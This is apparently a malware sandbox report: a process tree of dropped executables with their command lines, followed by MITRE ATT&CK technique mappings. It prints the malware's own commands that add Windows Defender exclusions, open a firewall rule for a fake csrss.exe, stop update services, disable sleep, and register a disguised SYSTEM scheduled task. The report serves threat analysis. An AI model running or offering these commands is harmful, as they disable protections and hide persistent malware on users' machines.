        "C:\Users\Admin\Pictures\hpRkHf7oovuwj5wfooD4Ji7E.exe"
        6⤵
        
        PID:2012
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        7⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Suspicious behavior: EnumeratesProcesses
        
        PID:2508
        
        C:\Windows\system32\netsh.exe
        
        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
        8⤵
        Modifies Windows Firewall
        
        PID:1556
    - - C:\Users\Admin\Pictures\jyW3RiycdQL9VYpoP10GWKuF.exe
        
        "C:\Users\Admin\Pictures\jyW3RiycdQL9VYpoP10GWKuF.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1524
      - C:\Users\Admin\AppData\Local\Temp\is-RHMHL.tmp\jyW3RiycdQL9VYpoP10GWKuF.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-RHMHL.tmp\jyW3RiycdQL9VYpoP10GWKuF.tmp" /SL5="$30188,2617171,76288,C:\Users\Admin\Pictures\jyW3RiycdQL9VYpoP10GWKuF.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Drops file in Program Files directory
        
        PID:2112
        
        C:\Windows\SysWOW64\schtasks.exe
        
        "C:\Windows\system32\schtasks.exe" /Query
        7⤵
        
        PID:2628
        
        C:\Program Files (x86)\Common Files\GreenTV\GreenTV.exe
        
        "C:\Program Files (x86)\Common Files\GreenTV\GreenTV.exe" -i
        7⤵
        Executes dropped EXE
        
        PID:1656
        
        C:\Windows\SysWOW64\net.exe
        
        "C:\Windows\system32\net.exe" helpmsg 25
        7⤵
        
        PID:588
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 helpmsg 25
        8⤵
        
        PID:2648
        
        C:\Program Files (x86)\Common Files\GreenTV\GreenTV.exe
        
        "C:\Program Files (x86)\Common Files\GreenTV\GreenTV.exe" -s
        7⤵
        
        PID:2356
    - - C:\Users\Admin\Pictures\Bld5H61zueAVc1Pxze24icEm.exe
        
        "C:\Users\Admin\Pictures\Bld5H61zueAVc1Pxze24icEm.exe" --silent --allusers=0
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1760
- - C:\Users\Admin\AppData\Local\Temp\latestX.exe
    "C:\Users\Admin\AppData\Local\Temp\latestX.exe"
    3⤵
    - Executes dropped EXE
    PID:2508
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2092
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1728
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2568
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:956
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2480
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:2876
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2796
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:2416
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1672
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:1628
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:2040
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:1664
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:1716
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
  2⤵
  PID:2828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  PID:2684
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:2316
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1700
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:2592
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:2980
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:872
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2040
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#nvjdnn#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:2472
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1160
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:2476
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:2736
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1768
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:2204
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:2840
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe
  2⤵
  PID:1536
- C:\Windows\explorer.exe
  C:\Windows\explorer.exe
  2⤵
  PID:1792

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20231126221809.log C:\Windows\Logs\CBS\CbsPersist_20231126221809.cab
1⤵
PID:1584

C:\Windows\system32\taskeng.exe
taskeng.exe {BB46B3E5-01FD-4E3E-B72C-5BABF868CC7B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1984
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  PID:1176

C:\Windows\system32\taskeng.exe
taskeng.exe {1E189528-56F6-4C5E-B6C9-19AE67FD4697} S-1-5-21-2085049433-1067986815-1244098655-1000:AHLBRYJO\Admin:Interactive:[1]
1⤵
PID:1216
- C:\Users\Admin\AppData\Roaming\wdbgbub
  C:\Users\Admin\AppData\Roaming\wdbgbub
  2⤵
  PID:836

C:\Windows\windefender.exe
C:\Windows\windefender.exe
1⤵
PID:1692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry